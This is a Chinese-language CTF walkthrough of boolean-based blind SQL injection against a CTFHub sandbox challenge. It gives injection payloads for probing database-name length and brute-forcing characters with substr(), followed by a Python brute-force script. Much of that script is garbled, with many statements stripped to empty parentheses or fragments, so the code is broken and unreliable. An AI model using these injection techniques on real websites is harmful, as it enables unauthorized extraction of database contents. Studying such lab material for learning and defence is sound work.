Web SQL 注入实战
布尔盲注
原理与思路
布尔盲注与普通注入的区别在于,它不直接返回查询结果,而是根据查询是否成功返回布尔值。这意味着我们需要通过构造条件语句,观察页面响应(通常是'成功'或'错误')来推断数据。由于无法直接看到回显,通常需要使用脚本进行穷举。
攻击的一般思路如下:
- 探测数据库名长度
- 根据长度逐字符爆破库名
- 获取当前库的表数量
- 依次探测每个表的名称和列名
- 最终提取目标数据
常用函数包括 substr(str, from, length) 用于截取字符串,以及 length(str) 判断长度。
实战演练
假设我们访问题目环境,输入 1 后看到查询语句为 select * from news where id=1。我们可以尝试将注入语句与 ?id=1 并列。
1. 探测库名长度
使用 length() 函数配合 and 逻辑判断。例如:
1 and length(database())=1
如果返回 query_error,说明长度不是 1;若返回 query_success,则匹配成功。通过遍历数字,我们发现数据库长度为 4。
2. 爆破库名
确定长度后,利用 substr(database(), i, 1) 逐个字符猜测。为了效率,可以编写 Python 脚本自动化这个过程。
import urllib.request
import urllib.parse
url = "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id="
map_str = "abcdefghijklmnopqrstuvwxyz"
query_success = []
for i in range(1, 5):
for x in map_str:
bool_inj = f"1 and substr(database(),{i},1)='{x}'"
query_n = url + urllib.parse.quote(bool_inj)
try:
resp = urllib.request.urlopen(query_n, timeout=8)
body = resp.read().decode('utf-8', errors='ignore')
except Exception as e:
()
body:
()
query_success.append((i, x))
:
()
result = [c p, c (query_success)]
(, .join(result))


